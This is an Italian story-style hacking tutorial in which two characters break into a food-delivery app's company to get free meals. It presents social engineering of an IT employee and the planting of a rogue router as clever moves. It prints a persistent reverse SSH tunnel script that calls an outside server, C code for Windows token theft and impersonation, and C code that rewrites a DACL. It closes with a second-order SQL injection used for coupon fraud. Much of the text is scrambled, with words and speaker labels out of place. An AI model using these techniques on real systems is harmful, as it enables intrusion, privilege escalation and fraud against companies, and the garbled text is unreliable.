Il modo in cui un hacker di alto livello vede il mondo è a chilometri di distanza dalla routine quotidiana dei lavoratori del settore tecnologico che timbrano il cartellino in una società tecnologica. Mentre la maggior parte dei professionisti si affida alla documentazione ufficiale, alle indicazioni dei superiori e alle best practice accettate, un hacker si fida solo di ciò che può essere toccato, testato e smontato. Per un hacker, la comprensione avviene tramite reverse engineering, ovvero smontando i sistemi per esporre come funzionano realmente, quindi rimettendoli insieme, riparando ciò che è rotto o sfruttando le vulnerabilità. Non si tratta di essere un criminale. È la forma più pura di apprendimento, un metodo antico quanto la curiosità umana stessa: scomporlo, comprenderne i pezzi e ricostruirlo. È il pensiero analitico e sintetico al suo meglio. La vera padronanza si ottiene quando un hacker riesce a sfruttare il dispositivo perché è la prova definitiva che sa esattamente come funziona, meglio di chiunque altro. Questa storia parla proprio di questo: di come un hacker di successo (Benicio) di DeusExMachina e Simplicius (un coraggioso novellino) analizzano con gioia e alla fine ottengono il controllo totale su un sistema complesso (un'app per la consegna di cibo). È un'avventura che non è solo intellettuale e tecnica, ma fondamentalmente una lotta per superare i limiti umani, risolvendo l'enigma impossibile non solo sforzando il cervello, ma giocandoci e soprattutto letteralmente nutrendosi di esso, una caratteristica che gli hacker condividono con i bambini. Disclaimer: Questa storia contiene materiale di hacking realmente applicabile, ma solo a scopo didattico. Non incoraggia l'hacking illegale. Simplicius, sembri affamato. Che ne dici se ordiniamo del cibo... offerto dalla casa? Ho un piano per hackerare la tua app di consegna di cibo preferita, usando il loro sistema di coupon. Benicio (Hacker): ( ) Hai già qualcosa in ballo, vero? Svela la verità. Simplicius (Novizio): Ride ( ) Oh, ho già gettato le basi. Ieri, ho convinto Greg del loro team IT, ho tirato fuori un po' di astuta ingegneria sociale e ho infilato il mio router pirata direttamente nella loro rete. Ora, abbiamo una linea diretta con il loro backend e l'accesso al loro prezioso sistema di coupon. Andiamo a mangiare. Benicio: Sorride Benicio's Setup: l'arsenale dell'hacker : lo strumento principale di Benicio è un (Intel Core i7 di decima generazione, 16 GB di RAM, 512 GB di SSD) con , perfetto per eseguire attacchi di ingegneria sociale, violazioni della sicurezza ed esecuzioni di comandi remoti. Computer portatile Dell XPS 13 Kali Linux : installato nella rete aziendale, esegue una versione personalizzata di , con , e per evitare il rilevamento. Questo piccolo ma potente dispositivo è dotato di un processore e , garantendo furtività ed efficienza. Pirate Router OpenWRT tunneling SSH spoofing dell'indirizzo MAC pivoting VPN Qualcomm IPQ4019 256 MB di RAM : , che fornisce il controllo completo sulle funzioni di rete e la possibilità di aggirare i firewall. Sistema operativo OpenWRT : per un controllo sicuro sulla rete compromessa, Benicio utilizza un con con e per il monitoraggio del traffico e l'analisi dello sfruttamento. Computer portatile secondario HP Spectre x360 Ubuntu 22.04 Wireshark Metasploit Fase 1: Configurazione dell'ingegneria sociale: il lavoro di ieri Tutto è iniziato con Greg. Ho chiamato, fingendo di essere del loro "terzo team di audit", e Greg, bravo ragazzo com'è, ha spifferato tutto sulla configurazione della loro rete. Prima che se ne rendesse conto, ero nella loro sala server, a "verificare le vulnerabilità" e a piazzare il mio router personalizzato. Quella cosa ora sta scavando un tunnel attraverso il loro firewall senza essere rilevata. Benicio: OpenWRT Hai convinto Greg a darti una mappa di rete e ti hai lasciato installare un router non autorizzato? Semplice. Simplicius: (sorride) Quel router ora ha un in esecuzione, che ci dà accesso remoto ogni volta che vogliamo. Ecco lo script che ho usato: Benicio: tunnel SSH inverso #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 myremoteuser@myremoteserver.com -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done Fase 2: bypassare il firewall — Pirate Router in azione Quindi ora hai aggirato il loro firewall con questo dispositivo furtivo. Cosa succederà? Simplicius: Con accesso interno completo, è il momento di dirottare un token ad alto privilegio. Ho trovato un processo in esecuzione come amministratore, ho usato l'API per clonare quel token e poi ho impersonato l'amministratore con . Il sistema pensa che io sia solo un utente normale, ma dietro le quinte sono io quello che detiene tutte le chiavi. Benicio: DuplicateTokenEx() ImpersonateLoggedOnUser() #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; } Fase 3: Greg alla riscossa — di nuovo Ma per farlo davvero cantare, avevo bisogno di sapere come erano impostati i loro . Così ho chiamato di nuovo Greg, gli ho detto che avevo bisogno che verificasse alcune impostazioni e per l'audit. Lui ha acconsentito volentieri. Benicio: descrittori di sicurezza DACL SACL (Ridacchia) Ingegneria sociale al suo meglio. Simplicius: Fase 4: Modifica del descrittore di sicurezza — Hack invisibile Ok, con l'aiuto di Greg, ho estratto la stringa SDDL ( ) per il descrittore di sicurezza del target, consentendomi di analizzare e riscrivere il . Ho modificato il DACL per garantirmi l'accesso completo, utilizzando al contempo flag di ereditarietà intelligenti per garantire che le modifiche non attivassero alcun avviso o sollevassero sospetti. Il sistema non ha nemmeno battuto ciglio!! Benicio: Security Descriptor Definition Language DACL (Discretionary Access Control List) Una volta che il nuovo DACL era in atto, ho applicato le modifiche al sistema. . I flag di ereditarietà hanno garantito che le mie modifiche rimanessero nascoste sotto le regole di accesso esistenti, ma ora avevo il pieno controllo Il bello è che, dal punto di vista del sistema, non sembrava niente di fuori dall'ordinario #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; } Fase 5: bypassare il controllo di accesso — Game On Quindi ci sei dentro e hai il controllo. Come hai superato il controllo di accesso? Simplicius: (Si appoggia con sicurezza allo schienale, indicando il diagramma sopra) Il sistema passa attraverso tre livelli: . Di solito, è lì che la maggior parte delle persone si imbatte in un vicolo cieco, ma è qui che entra in gioco la magia. Ho preso un da un processo privilegiato, ho usato per far credere al sistema che fossi il grande capo. Dopodiché, ho riprogrammato i per darmi pieno accesso. Il sistema ha appena steso il tappeto rosso. Benicio: integrità, controlli basati su token e discrezionali token di amministrazione ImpersonateToken() DACL Lasciatemi spiegare. L' , che contiene i (Security Identifier) e i privilegi, è come il mio passaporto. Impersonando un , non ho dovuto modificare i miei SID originali. Il sistema pensava ancora che fossi un utente con privilegi bassi, ma dietro le quinte avevo le chiavi del regno. Questo mi ha fatto superare il . Access Token SID token amministratore controllo basato sul token Poi, ho affrontato il . Ricordate quel che ho tirato fuori prima? Ho modificato il per darmi il pieno controllo sull'oggetto, ma ho mascherato abilmente le modifiche con , assicurandomi che non venisse segnalato nulla di sospetto. Il sistema non ha nemmeno battuto ciglio, ma ora avevo il controllo completo. Questo mi ha fatto passare direttamente attraverso il . Security Descriptor (DACL) SDDL DACL flag di ereditarietà controllo discrezionale Sì, il nostro amichevole buttafuori, il processo di controllo dell'accesso... Simplicius: sì, . Se hai il documento d'identità giusto ( ) e conosci il proprietario del club ( ), sei dentro. Mi sono assicurato di avere entrambi, il documento d'identità giusto e il permesso del proprietario, quindi il buttafuori non mi ha semplicemente fatto entrare, mi ha dato un pass VIP. Benicio: è come un buttafuori in un club SID DACL E dopo tutto questo? Il sistema dice " o " . Grazie a tutte le mosse che abbiamo fatto, hai indovinato: . Ci siamo, Simplicius, e il sistema non se n'è nemmeno accorto. Accesso concesso" Accesso negato" Accesso concesso Fase 6: Ordinare la cena: basta un'iniezione SQL : Ora, la parte divertente. Non ho scelto la via più facile con una semplice clausola . L'app è troppo intelligente per questo: . Ma sai, la sicurezza è forte solo quanto il suo anello più debole, e ho trovato la mia nel modo in cui gestiscono . Benicio UNION usano istruzioni preparate i dati del profilo archiviati : Bene, sono incuriosito. Come hai fatto a ingannare il sistema facendogli accettare un coupon falso mantenendo intatto quello valido? Simplicius : ( ) Ecco il vero trucco. L'app esegue una query per convalidare se un coupon è legittimo, ma estrae alcuni dati dal tuo . Ora, sanificano l'input quando crei per la prima volta il tuo profilo, ma durante gli aggiornamenti del profilo. Quindi, ho iniettato un payload nel del mio profilo, che è rimasto lì inosservato finché l'app non lo ha estratto in una query futura. È stato allora che è scattata la mia . Il sistema non l'ha rilevata perché l'iniezione era già stata archiviata, in attesa del momento giusto. Benicio sporgendosi in avanti profilo utente NON lo sanificano di nuovo campo indirizzo iniezione SQL di secondo ordine Invece di attaccare direttamente il processo di convalida del coupon, come ho detto, Simplicius, ho piantato il mio payload nel campo del profilo, in attesa che venisse utilizzato in una query separata. Ecco come avrebbe potuto apparire la convalida del coupon originale: SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code'; Normalmente, questa query non restituirebbe nulla poiché il coupon falso non esiste. Ma il mio payload iniettato ha alterato la logica della query. Il sistema non si aspettava l'iniezione perché era già memorizzata nel database e aspettava il momento giusto. La query è stata manipolata in qualcosa di più simile a questo: SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code'); Sfruttando l' , ho ingannato il sistema in modo che estraesse contemporaneamente sia i coupon falsi che quelli validi. L'app elabora il coupon falso per la transazione, ma il coupon valido rimane intatto nel sistema, intatto. Ciò significa che posso riutilizzare il coupon valido quando voglio. interazione tra i dati del profilo e la query : Quindi non hai usato il classico trucco dell'input, hai inserito il payload nel tuo profilo e hai lasciato che il sistema facesse il lavoro sporco? Simplicius : Esatto. Il bello è che l'app elabora il coupon falso per la transazione, ma nel backend, il coupon valido è ancora disponibile per un uso futuro. Il payload memorizzato continua a funzionare nelle query future, rendendolo una , e loro non ne sono più consapevoli. Benicio scorta infinita di cibo gratis Con questo, ho ottenuto un coupon che vale oro. Ordiniamo. Fase 7: La festa — Consegnata (scorre l'app) Bene, Simplicius, che ne dici di un po' di cibo greco? Penso a souvlaki, gyros, spanakopita. Tutto offerto dalla casa, ovviamente. Benicio: (sorridendo) Questa volta ti sei davvero superato. Simplicius: (Clicca per confermare) Fatto. Il cibo è in arrivo. Benicio: Epilogo: la mossa del cappello bianco Dopo questo, invierò loro un rapporto discreto in cui spiegherò le loro vulnerabilità. Non hanno idea di quanto sia mal configurato il loro di Windows. Forse impareranno qualcosa prima che arrivi il prossimo hacker. Benicio: sistema di token di sicurezza Ecco la ricetta di Benicio per questo trucco: : aggira i firewall con un dispositivo personalizzato che esegue e tunneling SSH. Pirate Router OpenWRT : utilizzare e per elevare i privilegi senza generare allarmi. Manipolazione dei token DuplicateTokenEx() ImpersonateToken() : a volte basta porre la domanda giusta alla persona giusta. Ingegneria sociale : la riscrittura consente di aggirare i controlli di sistema. Exploit dei descrittori di sicurezza dei DACL : modifica la logica della query per manipolare i dati e generare risultati falsi ma validi. SQL Injection (si appoggia allo schienale) Ci hai fatto a pezzi la cena e non li hai lasciati più in allerta. A proposito, io prendo il souvlaki. Simplicius: (sorride) Godetevelo finché dura. Benicio: